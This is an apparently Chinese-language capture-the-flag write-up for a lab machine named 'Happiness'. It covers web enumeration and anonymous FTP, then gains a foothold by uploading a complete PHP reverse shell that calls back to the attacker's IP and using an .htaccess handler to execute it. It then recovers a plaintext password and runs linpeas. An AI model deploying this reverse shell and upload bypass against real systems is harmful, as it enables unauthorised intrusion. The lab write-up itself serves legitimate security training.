└─# gobuster dir -u 192.168.0.106 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.106
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              yaml,php,txt,html,zip,db,bak,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 19]
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# dirsearch -u 192.168.0.106


  _|. _ _  _  _  _ _|_    v0.4.3.post1                  
 (_||| _) (/_(_|| (_| )                                 
                                                        
Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/hmv/reports/_192.168.0.106/_26-01-24_01-30-10.txt

Target: http://192.168.0.106/

[01:30:10] Starting:                                    
[01:30:12] 403 -  278B  - /.ht_wsr.txt
[01:30:12] 403 -  278B  - /.htaccess.orig
[01:30:12] 403 -  278B  - /.htaccess.sample
[01:30:12] 403 -  278B  - /.htaccess.bak1
[01:30:12] 403 -  278B  - /.htaccess.save
[01:30:12] 403 -  278B  - /.htaccess_extra
[01:30:12] 403 -  278B  - /.htaccess_orig
[01:30:12] 403 -  278B  - /.htaccess_sc
[01:30:12] 403 -  278B  - /.htaccessBAK
[01:30:12] 403 -  278B  - /.htm
[01:30:12] 403 -  278B  - /.html
[01:30:12] 403 -  278B  - /.htaccessOLD2
[01:30:12] 403 -  278B  - /.htaccessOLD
[01:30:12] 403 -  278B  - /.htpasswds
[01:30:12] 403 -  278B  - /.httr-oauth
[01:30:12] 403 -  278B  - /.htpasswd_test
[01:30:13] 403 -  278B  - /.php
[01:31:03] 403 -  278B  - /server-status
[01:31:03] 403 -  278B  - /server-status/

Task Completed          
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;21端口&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ftp 192.168.0.106     
Connected to 192.168.0.106.
220 Have fun!
Name (192.168.0.106:kali): ^C

                                                        
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ftp anonymous@192.168.0.106
Connected to 192.168.0.106.
220 Have fun!
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; ls
229 Entering Extended Passive Mode (|||11835|)
150 Here comes the directory listing.
-r--r--r--    1 0        0              20 Jan 22 12:27 readme.txt
226 Directory send OK.
ftp&amp;gt; get readme.txt
local: readme.txt remote: readme.txt
229 Entering Extended Passive Mode (|||37629|)
150 Opening BINARY mode data connection for readme.txt (20 bytes).
100% |***********|    20       32.99 KiB/s    00:00 ETA
226 Transfer complete.
20 bytes received in 00:00 (11.55 KiB/s)
ftp&amp;gt; exit
221 Goodbye.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat readme.txt  
http://tmpfile.dsz/

vi /etc/hosts
192.168.0.106 tmpfile.dsz
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;二次目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;gobuster dir -u http://tmpfile.dsz/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;
  _|. _ _  _  _  _ _|_    v0.4.3.post1                  
 (_||| _) (/_(_|| (_| )                                 
                                                        
Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/hmv/reports/_tmpfile.dsz/_26-01-24_01-34-18.txt

Target: http://tmpfile.dsz/

[01:34:18] Starting:                                    
[01:34:19] 403 -  276B  - /.ht_wsr.txt
[01:34:19] 403 -  276B  - /.htaccess.bak1
[01:34:19] 403 -  276B  - /.htaccess_orig
[01:34:19] 403 -  276B  - /.htaccess.orig
[01:34:19] 403 -  276B  - /.htaccess_extra
[01:34:19] 403 -  276B  - /.htaccessOLD2
[01:34:19] 403 -  276B  - /.htaccess_sc
[01:34:19] 403 -  276B  - /.htaccessOLD
[01:34:19] 403 -  276B  - /.html
[01:34:19] 403 -  276B  - /.htaccess.save
[01:34:19] 403 -  276B  - /.htpasswds
[01:34:19] 403 -  276B  - /.htm
[01:34:19] 403 -  276B  - /.httr-oauth
[01:34:19] 403 -  276B  - /.htaccess.sample
[01:34:19] 403 -  276B  - /.htpasswd_test
[01:34:19] 403 -  276B  - /.htaccessBAK
[01:34:20] 403 -  276B  - /.php
[01:34:54] 403 -  276B  - /server-status
[01:34:54] 403 -  276B  - /server-status/
[01:35:01] 301 -  312B  - /uploads  -&amp;gt;  http://tmpfile.dsz/uploads/
[01:35:01] 200 -  454B  - /uploads/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a href=&quot;http://tmpfile.dsz/&quot;&gt;http://tmpfile.dsz&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;/index&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;zh-CN&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
        &amp;lt;title&amp;gt;MazeSec - 临时文件转存站&amp;lt;/title&amp;gt;
	    &amp;lt;style&amp;gt;
	            body { font-family: sans-serif; background: #f4f4f4; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
        .container { background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); width: 400px; text-align: center; }
        .logo { color: #2c3e50; font-size: 24px; font-weight: bold; margin-bottom: 10px; border-bottom: 2px solid #2c3e50; display: inline-block; padding: 0 10px; }
        .banner { font-size: 14px; color: #7f8c8d; margin-bottom: 25px; }
        input[type=&amp;quot;file&amp;quot;] { margin: 20px 0; }
        input[type=&amp;quot;submit&amp;quot;] { background: #2c3e50; color: white; border: none; padding: 10px 20px; border-radius: 4px; cursor: pointer; }
        .message { margin-top: 20px; font-size: 13px; color: #e74c3c; word-break: break-all; }
    &amp;lt;/style&amp;gt;
	    &amp;lt;/head&amp;gt;
	    &amp;lt;body&amp;gt;
	        &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
		        &amp;lt;div class=&amp;quot;logo&amp;quot;&amp;gt;MazeSec&amp;lt;/div&amp;gt;
			        &amp;lt;div class=&amp;quot;banner&amp;quot;&amp;gt;安全、快速的临时文件中转中枢&amp;lt;/div&amp;gt;
				        &amp;lt;form action=&amp;quot;&amp;quot; method=&amp;quot;post&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;
					            &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;file&amp;quot; required&amp;gt;&amp;lt;br&amp;gt;
						                &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;开始上传&amp;quot;&amp;gt;
								        &amp;lt;/form&amp;gt;
									        &amp;lt;div class=&amp;quot;message&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
										    &amp;lt;/div&amp;gt;
										    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/Happiness-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = &amp;quot;1.0&amp;quot;;
$ip = &amp;#39;192.168.0.108&amp;#39;;
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = &amp;#39;uname -a; w; id; bash -i&amp;#39;;
$daemon = 0;
$debug = 0;

if (function_exists(&amp;#39;pcntl_fork&amp;#39;)) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit(&amp;quot;ERROR: Can&amp;#39;t fork&amp;quot;);
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit(&amp;quot;Error: Can&amp;#39;t setsid()&amp;quot;);
		exit(1);
	}

	$daemon = 1;
} else {
	printit(&amp;quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&amp;quot;);
}

chdir(&amp;quot;/&amp;quot;);

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit(&amp;quot;$errstr ($errno)&amp;quot;);
	exit(1);
}

$descriptorspec = array(
   0 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;r&amp;quot;),  // stdin is a pipe that the child will read from
   1 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;),  // stdout is a pipe that the child will write to
   2 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;)   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit(&amp;quot;ERROR: Can&amp;#39;t spawn shell&amp;quot;);
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit(&amp;quot;Successfully opened reverse shell to $ip:$port&amp;quot;);

while (1) {
	if (feof($sock)) {
		printit(&amp;quot;ERROR: Shell connection terminated&amp;quot;);
		break;
	}

	if (feof($pipes[1])) {
		printit(&amp;quot;ERROR: Shell process terminated&amp;quot;);
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit(&amp;quot;SOCK READ&amp;quot;);
		$input = fread($sock, $chunk_size);
		if ($debug) printit(&amp;quot;SOCK: $input&amp;quot;);
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit(&amp;quot;STDOUT READ&amp;quot;);
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit(&amp;quot;STDOUT: $input&amp;quot;);
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit(&amp;quot;STDERR READ&amp;quot;);
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit(&amp;quot;STDERR: $input&amp;quot;);
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print &amp;quot;$string\n&amp;quot;;
	}
}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;FilesMatch &amp;quot;mac&amp;quot;&amp;gt;
Sethandler application/x-httpd-php
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nc -lvvp 6666                             
listening on [any] 6666 ...
connect to [192.168.0.108] from tmpfile.dsz [192.168.0.106] 53656
Linux Happiness 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
 01:51:31 up 24 min,  0 users,  load average: 0.24, 3.62, 9.51
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;提权-Eecho@Happiness&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;www-data@Happiness:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/01/24 02:00:07 CMD: UID=33    PID=12259  | ./pspy64                                                        
2026/01/24 02:00:07 CMD: UID=33    PID=12226  | bash -i 
2026/01/24 02:00:07 CMD: UID=33    PID=12222  | sh -c uname -a; w; id; bash -i                                  
2026/01/24 02:00:07 CMD: UID=33    PID=685    | /usr/sbin/apache2 -k start                                                                        
2026/01/24 02:00:07 CMD: UID=0     PID=394    | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal                           
2026/01/24 02:00:07 CMD: UID=0     PID=386    | /usr/sbin/vsftpd /etc/vsftpd.conf                               
2026/01/24 02:00:07 CMD: UID=0     PID=380    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups         
2026/01/24 02:00:07 CMD: UID=0     PID=367    | /sbin/agetty -o -p -- \u --noclear tty1 linux                   
2026/01/24 02:00:07 CMD: UID=0     PID=361    | /usr/sbin/inetutils-inetd                                       
2026/01/24 02:00:07 CMD: UID=0     PID=339    | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3                               
2026/01/24 02:00:07 CMD: UID=0     PID=336    | /lib/systemd/systemd-logind                                     
2026/01/24 02:00:07 CMD: UID=0     PID=323    | /usr/sbin/rsyslogd -n -iNONE                                    
2026/01/24 02:00:07 CMD: UID=104   PID=321    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only        
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;find / -writable -type d 2&amp;gt;/dev/null
/run/lock
/run/lock/apache2
/dev/mqueue
/dev/shm
/tmp
/proc/12500/task/12500/fd
/proc/12500/fd
/proc/12500/map_files
/var/www/html
/var/www/html/uploads
/var/www/localhost
/var/tmp
/var/lib/php/sessions
/var/cache/apache2/mod_cache_disk
www-data@Happiness:/opt$ cat Ee
cat Eecho_pass.txt 
Eecho:2VQzte2RBr8p8MuOA0Gw2Sum
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到凭据Eecho:2VQzte2RBr8p8MuOA0Gw2Sum&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Eecho@Happiness:~$ cat user.txt 
flag{user-c2fdb0243cc742b18dcb4e5e68eed318}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Eecho@Happiness:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for Eecho: 
Sorry, user Eecho may not run sudo on Happiness.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;pspy&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Eecho@Happiness:~$ wget http://192.168.0.108:8000/pspy64 -O pspy64
--2026-01-24 02:13:07--  http://192.168.0.108:8000/pspy64
Connecting to 192.168.0.108:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64        100%   2.96M  --.-KB/s    in 0.009s      

2026-01-24 02:13:07 (333 MB/s) - ‘pspy64’ saved [3104768/3104768]

Eecho@Happiness:~$ ls
pspy64  user.txt
Eecho@Happiness:~$ chmod 777 pspy64
Eecho@Happiness:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/01/24 02:13:47 CMD: UID=1000  PID=12538  | ./pspy64                                                        
2026/01/24 02:13:47 CMD: UID=1000  PID=12528  | -bash 
2026/01/24 02:13:47 CMD: UID=1000  PID=12527  | sshd: Eecho@pts/0                                               
2026/01/24 02:13:47 CMD: UID=1000  PID=12508  | (sd-pam)                                                        
2026/01/24 02:13:47 CMD: UID=1000  PID=12507  | /lib/systemd/systemd --user                                     
2026/01/24 02:13:47 CMD: UID=0     PID=12504  | sshd: Eecho [priv]                                              
2026/01/24 02:13:47 CMD: UID=33    PID=12442  | bash -i 
2026/01/24 02:13:47 CMD: UID=33    PID=12438  | sh -c uname -a; w; id; bash -i                                  
2026/01/24 02:13:47 CMD: UID=0     PID=12277  | 2026/01/24 02:13:47 CMD: UID=33    PID=12271  | bash -i 
2026/01/24 02:13:47 CMD: UID=33    PID=12266  | sh -c uname -a; w; id; bash -i                                  
2026/01/24 02:13:47 CMD: UID=33    PID=685    | /usr/sbin/apache2 -k start                                                                          
2026/01/24 02:13:47 CMD: UID=0     PID=394    | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal                           
2026/01/24 02:13:47 CMD: UID=0     PID=386    | /usr/sbin/vsftpd /etc/vsftpd.conf                               
2026/01/24 02:13:47 CMD: UID=0     PID=380    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups         
2026/01/24 02:13:47 CMD: UID=0     PID=367    | /sbin/agetty -o -p -- \u --noclear tty1 linux                   
2026/01/24 02:13:47 CMD: UID=0     PID=361    | /usr/sbin/inetutils-inetd                                       
2026/01/24 02:13:47 CMD: UID=0     PID=339    | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3                               
2026/01/24 02:13:47 CMD: UID=0     PID=336    | /lib/systemd/systemd-logind                                     
2026/01/24 02:13:47 CMD: UID=0     PID=323    | /usr/sbin/rsyslogd -n -iNONE                                    
2026/01/24 02:13:47 CMD: UID=104   PID=321    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only                
2026/01/24 02:13:47 CMD: UID=0     PID=320    | /usr/sbin/cron -f                                               
2026/01/24 02:13:47 CMD: UID=101   PID=278    | /lib/systemd/systemd-timesyncd                                  
2026/01/24 02:13:47 CMD: UID=0     PID=249    | /lib/systemd/systemd-udevd                                      
2026/01/24 02:13:47 CMD: UID=0     PID=1      | /sbin/init                                                      
2026/01/24 02:14:34 CMD: UID=0     PID=12547  | sshd: [accepted]                                                
2026/01/24 02:14:34 CMD: UID=0     PID=12548  | sshd: [accepted]                                                
2026/01/24 02:14:41 CMD: UID=0     PID=12549  | sshd: Eecho [priv]                                              
2026/01/24 02:14:41 CMD: UID=0     PID=12550  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d &amp;gt; /run/motd.dynamic.new                       
2026/01/24 02:14:41 CMD: UID=0     PID=12551  | run-parts --lsbsysinit /etc/update-motd.d                       
2026/01/24 02:14:41 CMD: UID=0     PID=12552  | /bin/sh /etc/update-motd.d/10-uname                             
2026/01/24 02:14:41 CMD: UID=0     PID=12553  | run-parts --lsbsysinit /etc/update-motd.d                       
2026/01/24 02:15:12 CMD: UID=0     PID=12559  | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3                               
2026/01/24 02:15:12 CMD: UID=0     PID=12560  | /bin/sh /sbin/dhclient-script                                   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;linpeas.sh&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Eecho@Happiness:~$ ./linpeas.sh
                               
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner&amp;#39;s permission.                                                                                                        
Linux Privesc Checklist: https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html                                                      
 LEGEND:                                                
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console &amp;amp; mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting LinPEAS. Caching Writable Folders...
                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                             
                               ╚═══════════════════╝    
OS: Linux version 4.19.0-27-amd64 (debian-kernel@lists.debian.org) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.316-1 (2024-06-25)
User &amp;amp; Groups: uid=1000(Eecho) gid=1000(Eecho) groups=1000(Eecho)
Hostname: Happiness
[+] /usr/bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)           
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h) 
Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE  
                     ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════                              
                              ╚════════════════════╝    
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits               
Linux version 4.19.0-27-amd64 (debian-kernel@lists.debian.org) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.316-1 (2024-06-25)
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version                  
Sudo version 1.9.5p2                                    
╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses          
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
╔══════════╣ Date &amp;amp; uptime
Sat 24 Jan 2026 02:19:09 AM EST                         
 02:19:09 up 52 min,  2 users,  load average: 0.00, 0.00, 1.56
╔══════════╣ Unmounted file-system?
╚ Check if you can mount umounted devices               
UUID=80e68759-1ca0-45eb-82a7-601b1f78dfe5 /               ext4    errors=remount-ro 0       1
UUID=257f425d-1ea4-4b8e-8dd8-69523f25d249 none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0
╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
disk                                                    
sda
sda1
sda2
sda5
╔══════════╣ Environment
╚ Any private information inside environment variables? 
USER=Eecho                                              
SSH_CLIENT=192.168.0.108 39356 22
SHLVL=1
HOME=/home/Eecho
SSH_TTY=/dev/pts/0
LOGNAME=Eecho
_=./linpeas.sh
TERM=xterm-256color
XDG_RUNTIME_DIR=/run/user/1000
LANG=en_US.UTF-8
SHELL=/bin/bash
PWD=/home/Eecho
SSH_CONNECTION=192.168.0.108 39356 192.168.0.106 22
╔══════════╣ Searching Signature verification failed in dmesg                                                   
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed                                                   
dmesg Not Found                                                                                         
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester      
[+] [CVE-2019-13272] PTRACE_TRACEME                     
   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
   Exposure: highly probable
   Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},[ debian=10{kernel:4.19.0-*} ],fedora=30{kernel:5.0.9-*}
   Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
   Comments: Requires an active PolKit agent.
[+] [CVE-2021-4034] PwnKit
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,[ debian=7|8|9|10|11 ],fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded
╔══════════╣ Protections
═╣ AppArmor enabled? .............. You do not have enough privilege to read the profile set.
apparmor module is loaded.
═╣ AppArmor profile? .............. unconfined
═╣ is linuxONE? ................... s390x Not Found
═╣ grsecurity present? ............ grsecurity Not Found
═╣ PaX bins present? .............. PaX Not Found       
═╣ Execshield enabled? ............ Execshield Not Found
═╣ SELinux enabled? ............... sestatus Not Found  
═╣ Seccomp enabled? ............... disabled            
═╣ User namespace? ................ enabled
═╣ Cgroup2 enabled? ............... enabled
═╣ Is ASLR enabled? ............... Yes
═╣ Printer? ....................... No
═╣ Is this a virtual machine? ..... Yes (oracle)        
╔══════════╣ Kernel Modules Information
══╣ Kernel modules with weak perms?                                                                       
══╣ Kernel modules loadable? 
Modules can be loaded                                   

                                   ╔═══════════╗
═══════════════════════════════════╣ Container ╠═══════════════════════════════════                             
                                   ╚═══════════╝        
╔══════════╣ Container related tools present (if any):
/usr/sbin/apparmor_parser                               
/usr/bin/nsenter
/usr/bin/unshare
/usr/sbin/chroot
/usr/sbin/capsh
/usr/sbin/setcap
/usr/sbin/getcap
╔══════════╣ Container details
═╣ Is this a container? ........... No                  
═╣ Any running containers? ........ No                  
                                                        
                                     ╔═══════╗
═════════════════════════════════════╣ Cloud ╠═════════════════════════════════════                             
                                     ╚═══════╝          
Learn and practice cloud hacking techniques in https://training.hacktricks.xyz                                                                                        
═╣ GCP Virtual Machine? ................. No
═╣ GCP Cloud Funtion? ................... No
═╣ AWS ECS? ............................. No
═╣ AWS EC2? ............................. No
═╣ AWS EC2 Beanstalk? ................... No
═╣ AWS Lambda? .......................... No
═╣ AWS Codebuild? ....................... No
═╣ DO Droplet? .......................... No
